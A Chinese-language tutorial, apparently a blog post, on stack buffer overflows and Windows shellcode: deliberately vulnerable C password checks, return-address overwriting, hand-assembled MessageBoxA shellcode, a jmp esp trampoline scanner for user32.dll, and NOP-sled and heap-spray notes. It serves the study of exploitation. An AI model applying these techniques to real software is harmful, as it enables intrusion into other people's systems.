棧溢出原理與 shellcode 開發

 ESP:該指針永遠指向系統棧最上面一個棧幀的棧頂
 EBP:該指針永遠指向系統棧最上面一個棧幀的底部
01  修改函數返回地址
  
  
  
  
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){ int authenticated; char buffer[8]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); return authenticated;}int main(){ int valid_flag=0; char password[1024]; while(1) { printf("please input password:"); scanf("%s",password); valid_flag = verify_password(password); if(valid_flag) { printf("incorrenct\n"); } else{ printf("Congratulation\n"); break; } } return 0;}
輸入8個字符後結尾的NULL會覆蓋authenticated

02  控制函數執行流程
   
   
   
   
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){ int authenticated; char buffer[8]; printf("%p\n",&buffer); authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); return authenticated;}int main(){ int valid_flag=0; char password[1024]; FILE *fp; if(!(fp=fopen("password.txt","rw+"))){ exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if(valid_flag) { printf("incorrenct password!\n"); } else{ printf("Congratulation\n"); } fclose(fp); return 0;}
(1) 摸清楚棧中的情況,函數地址距離緩衝區的偏移量
      
    經過字符串搜索獲得返回地址0x00401122
(2) 要獲得程序中密碼驗證經過的指令地址,以便程序直接跳去這個分支執行
    須要逆序輸入4個字節
    
(3) 要在password.txt文件的相應偏移處填上這個地址
    
    因爲棧內EBP等被覆蓋爲無效值,使得程序在退出時堆棧沒法平衡

03 向進程中植入代碼
    一、Depends找到user32.dll基址 MessageBoxA偏移地址
        
     二、在彙編語言中調用這個函數須要得到這個函數的入口地址        
機器碼     彙編     註釋    
33DB     XOR EBX, EBX 壓如NULL結尾的「failwest」字符串
53 PUSH EBX 之因此用EBX清零後入棧做爲字符串的
6877657374 PUSH 6877657374 截斷符,是爲了不「PUSH 0」中的NULL
686661696C PUSH 686661696C 不然植入的機器碼會被strcpy函數截斷
8BC4     MOV EAX, ESP EAX裏是字符串指針    
53 PUSH EBX 4個參數按從右向左的順序入棧    
50 PUSH EAX 分別是(0,failwest,failwest,0)
50 PUSH EAX
53 PUSH EBX
B8EA07D577    MOV EAX, 0x77D507EA  調用MessageBoxA  不一樣的機器這裏的函數入口 
FFD0 CALL EAX 地址不一樣
    基地址+偏移地址 = MessageBoxA在內存中的入口地址
    
    90後面填入buffer地址
    成功經過溢出調用了MessageBoxA
    
    ESP所指的位置剛好是咱們所淹沒的返回地址的下一個位置
   
 
**04  獲取 「跳板」 的地址
    這種定位shellcode方法使進程空間裏一條 jmp esp 指令做爲跳板,不論棧幀怎麼移位,都能跳回棧區
    得到 user32.dll 內跳轉指令地址最直觀的方法就是編程搜索內存
    
      
      
      
      
#include<Windows.h>#include<stdio.h>#define DLL_NAME "user32.dll"int main(){ BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try{ if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + postion; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } return 0;}
    還能夠用OllyUni.dll插件  http://cracklab.ru/olya/
    添加插件後,在c頁面右鍵出現Overflew Return Address
    
    搜索完後,單擊 「L」 能夠在日誌窗口中查看搜索結果
    爲了讓程序正常退出,須要用depends查找kernel32.dll中的ExitProcess的地址 
    
    寫出shellcode的源代碼
      
      
      
      
#include<Windows.h>int main(){ HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ sub sp, 0x440 xor ebx, ebx push ebx //cut string push 0x74736577 push 0x6C696166 mov eax, esp push ebx push eax push eax push ebx mov eax, 0x77D507EA call eax //call MessageBoxA push ebx mov eax, 0x7C81CAFA call eax //call exit(0) }}
    編譯後在OD中打開,找到代碼後dump:右鍵複製->到文件
    
    
       
       
       
       
33DB xor ebx,ebx 53 push ebx 68 77657374 push 0x74736577 68 6661696C push 0x6C696166 8BC4 mov eax,esp 53 push ebx 50 push eax 50 push eax 53 push ebx B8 EA07D577 mov eax,user32.MessageBoxA FFD0 call eax 53 push ebx B8 FACA817C mov eax,kernel32.ExitProcess FFD0 call eax


    
    在shellcode前加上jmp esp的地址
    
05  地址錯位
    爲了通用性,咱們一般會在shellcode一開始就大範圍擡高棧頂,從而達到保護自身安全的目的
    mov eax,esp 和 jmp eax 也能夠完成進入棧區的功能
    擴大shellcode面積,提升命中率(函數返回時,只要能擊中nop區shellcode就能執行
    大面積「掃射」返回地址(用一大片返回地址來覆蓋真正的返回地址,增長命中的成功率)
    解決字節錯位:不一樣的主機會有不一樣的安裝目錄,可能致使覆蓋的地址錯位失效,使用按字節相同的雙字節跳轉地址,甚至可使用堆中的地址,而後想辦法將shellcode用堆擴展的辦法放置在響應的區域,這種heap spray的辦法常常在IE漏洞中使用
    

 


 

 


相關文章
相關標籤/搜索